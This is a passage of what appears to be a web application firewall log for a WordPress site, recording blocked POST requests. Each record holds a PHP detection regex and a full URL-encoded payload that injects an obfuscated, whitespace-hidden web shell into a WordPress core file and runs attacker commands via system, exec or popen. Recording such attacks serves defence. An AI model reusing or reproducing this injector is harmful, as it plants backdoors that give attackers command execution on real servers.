4content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI0LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:5309\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\n\nWF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-renderer-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher4%2520%253D%2520%2522pas%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524secure_access%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68e%255Cx6C%255Cx6C_ex%255Cx65c%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74%255Cx65nt%255Cx73%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%2529%2520%257B%2520function%2520module_controller%2520%2528%2524val%252C%2520%2524pset%2520%2529%2520%257B%2520%2524ref%2520%253D%2520%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524val%2529%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524val%255B%2524i%255D%2529%255E%2524pset%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524ref%253B%2520%257D%2520%2524rec%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%253B%2520%2524rec%2520%253D%2520module_controller%2528%2524rec%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524rec%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pset_ref%2520%253D%2520%2524event_dispatcher5%2528%2524rec%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_ref%2529%2520%257B%2520%2524key_flg%2520%253D%2520%2524event_dispatcher6%2528%2524pset_ref%2529%253B%2520%2524event_dispatcher7%2528%2524pset_ref%2529%253B%2520print%2520%2524key_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:58:06","62.210.185.4","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-renderer-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher4%2520%253D%2520%2522pas%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524secure_access%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68e%255Cx6C%255Cx6C_ex%255Cx65c%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74%255Cx65nt%255Cx73%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%2529%2520%257B%2520function%2520module_controller%2520%2528%2524val%252C%2520%2524pset%2520%2529%2520%257B%2520%2524ref%2520%253D%2520%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524val%2529%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524val%255B%2524i%255D%2529%255E%2524pset%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524ref%253B%2520%257D%2520%2524rec%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%253B%2520%2524rec%2520%253D%2520module_controller%2528%2524rec%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524rec%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pset_ref%2520%253D%2520%2524event_dispatcher5%2528%2524rec%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_ref%2529%2520%257B%2520%2524key_flg%2520%253D%2520%2524event_dispatcher6%2528%2524pset_ref%2529%253B%2520%2524event_dispatcher7%2528%2524pset_ref%2529%253B%2520print%2520%2524key_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFHZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:5309\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nIC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-renderer-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher4%2520%253D%2520%2522pas%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524secure_access%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68e%255Cx6C%255Cx6C_ex%255Cx65c%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74%255Cx65nt%255Cx73%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%2529%2520%257B%2520function%2520module_controller%2520%2528%2524val%252C%2520%2524pset%2520%2529%2520%257B%2520%2524ref%2520%253D%2520%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524val%2529%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524val%255B%2524i%255D%2529%255E%2524pset%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524ref%253B%2520%257D%2520%2524rec%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%253B%2520%2524rec%2520%253D%2520module_controller%2528%2524rec%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524rec%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pset_ref%2520%253D%2520%2524event_dispatcher5%2528%2524rec%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_ref%2529%2520%257B%2520%2524key_flg%2520%253D%2520%2524event_dispatcher6%2528%2524pset_ref%2529%253B%2520%2524event_dispatcher7%2528%2524pset_ref%2529%253B%2520print%2520%2524key_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:58:08","78.142.18.172","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Jd:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-renderer-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher4%2520%253D%2520%2522pas%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524secure_access%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68e%255Cx6C%255Cx6C_ex%255Cx65c%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74%255Cx65nt%255Cx73%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%2529%2520%257B%2520function%2520module_controller%2520%2528%2524val%252C%2520%2524pset%2520%2529%2520%257B%2520%2524ref%2520%253D%2520%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524val%2529%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524val%255B%2524i%255D%2529%255E%2524pset%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524ref%253B%2520%257D%2520%2524rec%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%253B%2520%2524rec%2520%253D%2520module_controller%2528%2524rec%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524rec%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pset_ref%2520%253D%2520%2524event_dispatcher5%2528%2524rec%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_ref%2529%2520%257B%2520%2524key_flg%2520%253D%2520%2524event_dispatcher6%2528%2524pset_ref%2529%253B%2520%2524event_dispatcher7%2528%2524pset_ref%2529%253B%2520print%2520%2524key_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFzDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:5309\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\n\nJd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-renderer-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher4%2520%253D%2520%2522pas%255Cx73%255Cx74%255Cx68ru%2522%253B%2520%2524secure_access%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68e%255Cx6C%255Cx6C_ex%255Cx65c%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522%255Cx73trea%255Cx6D_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74%255Cx65nt%255Cx73%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70%255Cx63%255Cx6Cose%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522p%255Cx6F%255Cx70en%2522%253B%2520%2524event_dispatcher1%2520%253D%2520%2522sy%255Cx73t%255Cx65m%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%2529%2520%257B%2520function%2520module_controller%2520%2528%2524val%252C%2520%2524pset%2520%2529%2520%257B%2520%2524ref%2520%253D%2520%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524val%2529%2529%257B%2520%2524ref.%253Dchr%2528ord%2528%2524val%255B%2524i%255D%2529%255E%2524pset%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524ref%253B%2520%257D%2520%2524rec%2520%253D%2520%2524secure_access%2528%2524_POST%255B%2522r%255Cx65%255Cx63%2522%255D%2529%253B%2520%2524rec%2520%253D%2520module_controller%2528%2524rec%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524rec%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524rec%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pset_ref%2520%253D%2520%2524event_dispatcher5%2528%2524rec%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pset_ref%2529%2520%257B%2520%2524key_flg%2520%253D%2520%2524event_dispatcher6%2528%2524pset_ref%2529%253B%2520%2524event_dispatcher7%2528%2524pset_ref%2529%253B%2520print%2520%2524key_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3C